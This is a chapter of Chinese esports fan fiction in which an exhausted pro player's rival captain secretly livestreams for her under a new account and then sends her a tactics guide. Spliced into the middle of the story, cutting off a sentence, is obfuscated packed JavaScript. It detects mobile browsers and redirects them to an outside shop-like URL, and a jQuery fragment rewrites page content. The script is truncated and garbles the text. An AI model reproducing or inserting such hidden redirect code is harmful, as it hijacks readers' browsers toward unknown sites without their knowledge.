常规赛第一天，昭华对虚空，比赛场馆在X市。
林溯深坐在选手席，盯着手里那份刚刚打印出来的首发名单。她的名字后面跟着的不是“狂剑士”，是“战斗法师”。
陈青坐在她旁边，脸色很难看：“老赵疯了？让你首发战法？你才练了多久？”
“两周。”林溯深说，声音有点哑，“钱总说，要‘展现战队战术多样性’，要‘给观众新鲜感’。商务价值，懂吧。”
她说这话时没什么表情——不是紧张，是累。昨晚她只睡了两个半小时，今天早上赶飞机时还在背战法的技能轴。
比赛开始。个人赛第一场，林溯深的战斗法师对虚空的阵鬼选手。
倒计时结束。林溯深操控角色前压。战斗法师的节奏和狂剑士完全不同，需要更精细的走位，更精确的技能衔接。她试着打出训练时练过无数遍的连招——天击、龙牙、连突。但手跟不上脑子。天击的角度偏了，龙牙的时机慢了，连突只中了一段。对方是经验丰富的阵鬼，抓住她每一个失误，鬼阵一个接一个落下。
第四分钟，战斗法师被鬼阵困住，血线清零。
失败。
林溯深摘下耳机。观众席的欢呼声涌进来，虚空的主场，掌声热烈。她坐在比赛席上，看着屏幕上那个灰色的战斗法师，很久没动。
手腕在痛。太阳穴在跳。
她起身，走回选手席。陈青拍了拍她的肩，没说话。钱总坐在后排，低头看着手机，大概在回商务消息。
团队赛，昭华毫无悬念地输了。林溯深换回狂剑士，但状态全无。操作僵硬，走位失误，有次甚至冲进了对方五人的包围圈，被瞬间集火带走。
比赛结束，昭华0:10被虚空横扫。
晚上九点，酒店房间。
林溯深开了直播。标题：“感冒发烧，嗓子全哑，今天当个安静的菜鸡”。
开播十分钟，在线人数七八万：
“状态不太对啊”
“战斗法师那场看得我难受”
“是不是真感冒了？”
“嗯，发烧了。”她对着镜头，眼睛有点红，但努力笑着，“38度5，头疼，浑身没劲。所以今天就随便打打游戏。感谢‘主播买点药吧’送的爱心——这位朋友，药很贵的。水友们再点点小花花，给主播凑个买药钱。”弹幕飘过一片“哈哈哈”和“又来了”，但礼物特效还是炸了几波。
林溯深秉持着职业素养逐条谢了礼，点开游戏。她没开竞技场，而是进了单人训练模式。狂剑士站在训练场里，对着木桩一遍遍重复基础连招。
很枯燥。但她需要找回手感。
打了半小时，手腕的痛感越来越清晰。她停下来，活动手指。弹幕有人问：
“主播手怎么了？”
“是不是受伤了？”
“今天比赛操作好僵硬”
“没受伤，就是累。”林溯深说，声音越来越低，“训练多了，商务多了，比赛多了就累了。”她说这话时，眼睛看着屏幕，但没什么焦距。
林溯深挤出一个笑：“好了，不说这些了。下播了，大家晚安。”
她瘫在椅子上，盯着天花板，很久没动。
手机震了一下。是王杰希。
「王不留行」：「今天状态不对。」
林溯深盯着这条消息，看了很久。然后打字回：
「累。」
「困。」
她发完，把手机扔到床上，准备去洗澡。但手机又震了。
「王不留行」：「明天有比赛？」
林溯深：「有。对呼啸。」
那边停顿了几秒。
「王不留行」：「早点休息。」
林溯深打字：「王队。」
「王不留行」：「嗯？」
林溯深盯着输入框，手指悬在屏幕上方。脑子里一片混沌，疲惫、委屈、烦躁混成一团。她不知道自己在想什么，只是凭着本能，打出一行字：
「帮我直播吧。」
发送。她看着那五个字，愣住。然后立刻想撤回——但晚了，对方正在输入。
三秒后，消息弹出来：
「王不留行」：「好。」
林溯深：“？？？”
她坐直身体，盯着那个“好”字，脑子更乱了。她只是随口一说，开个玩笑，或者说，是累到神志不清的胡话。王杰希怎么可能真的帮她直播？他是微草队长，是联盟顶尖选手，是……
手机又震。
「王不留行」：「播什么？」
林溯深呼吸一滞。她打字：「王队，我开玩笑的……」
「王不留行」：「没开玩笑。」
「王不留行」：「你想休息，我帮你播。」
林溯深盯着这两行字，深呼吸几次，才勉强稳住情绪。打字：
「那播什么？你不能开麦，不能ob，不能开摄像头。」
「王不留行」：「你定。」
林溯深靠在椅子上，看着天花板，脑子飞快转动。
她眼睛一亮，打字：
「干脆就播战法吧。」
「王不留行」：「？」
林溯深：「你开个新号，玩战法，不开麦，不露脸，就安静打游戏。我睡觉。反正你不擅长战法，就当随便玩玩。我也就练了两周，状态又差，观众只会以为是我烧糊涂了在梦游。」
那边停顿了足足一分钟。
然后回：
「好。」
干脆利落。
第二天晚上八点，直播间标题改成了：“高烧39度，意识模糊，今天直播内容可能很诡异”。
开播五分钟，在线人数三十万。弹幕很担心：
“39度？？？”
“主播去医院了吗？”
“别播了去睡觉啊”
画面里没有林溯深。只有荣耀游戏界面，一个新建的小号，职业战斗法师，ID是随机生成的“Fight123”。没有开麦，没有任何解说，只有安静的游戏声。
操作者显然不熟悉战法，也很久没打过新手任务。角色在新手村跌跌撞撞，接任务时跑错NPC，打小怪时放错技能，跳悬崖时摔死了一次。
弹幕开始疑惑：
“这是主播？”
“操作好生疏”
“战法新人？”
“不对啊，主播少说也是练了两周啊。”
“是不是烧糊涂了手不听使唤？”
直播二十分钟，“Fight123”升到15级，组了个野队下副本。过程堪称灾难，OT、吃技能、走位失误，险象环生。但每次失误后，角色都会停顿一下，然后接下来的操作就会有所调整，能看出一种飞快的、冷静的学习和适应能力。
队伍频道里，队友在吐槽：
「队友A」：「战法兄弟，第一次玩？」
「Fight123」：「第一次玩战法。」
「队友B」：「手法有点生啊，不过态度还行。」
「Fight123」：「谢谢。」
「队友C」：「哥们，你走位有点东西，是不是玩其他职业的大佬？」
「Fight123」：「不是。」
弹幕开始脑洞大开：
“这回复风格好像王杰希”
“前面的，王杰希玩战法能这么菜？”
“可能是主播男朋友代打？”
“哈哈哈哈，王杰希你说句话啊！”
直播一小时，“Fight123”升到25级。操作者开始在训练场练习连招。天击、龙牙、连突……一遍，两遍，三遍。很枯燥，但很耐心。
弹幕开始调戏：</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297011|198579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“主播主播，你是不是在偷男人帮你直播”
“前面的，偷男人笑死我了”
“说不定真是男朋友，看这耐心程度”
操作者似乎看到了这条弹幕。角色在训练场停顿了两秒，然后头顶冒出个“……”的文字气泡。
弹幕瞬间高潮：
“哈哈哈哈他看见了！”
“心虚了心虚了！”
“主播你男朋友害羞了！”
“你们有看过微草战队经理爆出来的聊天记录吗，王队好像真的喜欢在无语的时候发六个点。”
“王杰希你说句话啊！”
直播进行到一个半小时，“Fight123”开始整理背包，研究装备搭配。很仔细，每件装备都看属性，计算提升。
弹幕：
“这是在写攻略？”
“好认真”
“主播平时会拉excel表吗？”
“果然不是本人吧”
“男朋友代打实锤了”
九点五十五分，操作者清理完最后一个日常任务，打字：
「Fight123」：「下了。」
「Fight123」：「晚安。」
说完直接下线。直播画面停在角色选择界面，五秒钟后，黑屏。
弹幕：“？？？”
“这就下了？”
“好准时”
“说两小时就两小时”
“真不是本人吧。”
“本人的话，应该现在突然开摄像头，开麦：弹幕宝宝们，有没有被主播吓到！”
“前面的，我早说了，是王杰希代打。”
“王杰希玩战法不可能这么菜！我坚信！”
而此时，酒店房间里。
林溯深其实没睡着。
她躺在床上，戴着耳机，用手机偷偷看直播。看着那个笨拙的战法小号，看着那些“谢谢”“嗯”的简短回复，看着弹幕疯狂调侃“主播在偷男人”，看着操作者被调戏到打省略号。
她咬着嘴唇，憋笑憋得肚子疼。
「王不留行」：「播完了。」
她擦掉眼角笑出来的泪花：「谢谢王队。辛苦了。」想想又补了个[鞠躬]的表情。
「王不留行」：「不用谢。弹幕很活跃。」
林溯深噗嗤笑出声，能想象出他敲下这行字时微妙的语气。她笑着打字：「他们都说你是我偷偷找的男朋友，脾气好，还耐心。」
那边停顿了几秒。
「王不留行」：「看到了。」
林溯深几乎能脑补出他对着屏幕微微蹙眉、略显无奈的表情。她笑意更深：「王队感受如何？被在线拉郎配。」
这次停顿更久。
「王不留行」：「还好。」
“噗——”林溯深又笑出声。她打字回道：「战法练得怎么样？王大导师？」
「王不留行」：「不熟。」
「王不留行」：「基础循环差不多了。」
「王不留行」：「根据你的操作习惯，我调整了一下配装和连招思路。发你了。」
林溯深呼吸轻轻一顿，退出聊天框，点开手机邮箱。那里果然有一封未读邮件，来自一个陌生的工作邮箱，附件是个命名规整的文档。
她点开，里面是详尽的战斗法师数据分析，从不同装备搭配下的输出模拟，再到针对各职业的起手和应对策略。条理清晰，数据扎实。最后还有一行小字：
「烧退了再练。现在休息。」
他沉默地替她撑了两小时，末了交给她的不仅是安慰，还有切切实实、能帮她走下去的东西。
她忽的感觉不难过了，她忽的又感觉自己可能流鼻涕了，吸了吸鼻子，然后噼里啪啦地打字，虽然最后只发出两个最简单的字就是了：
「谢谢。」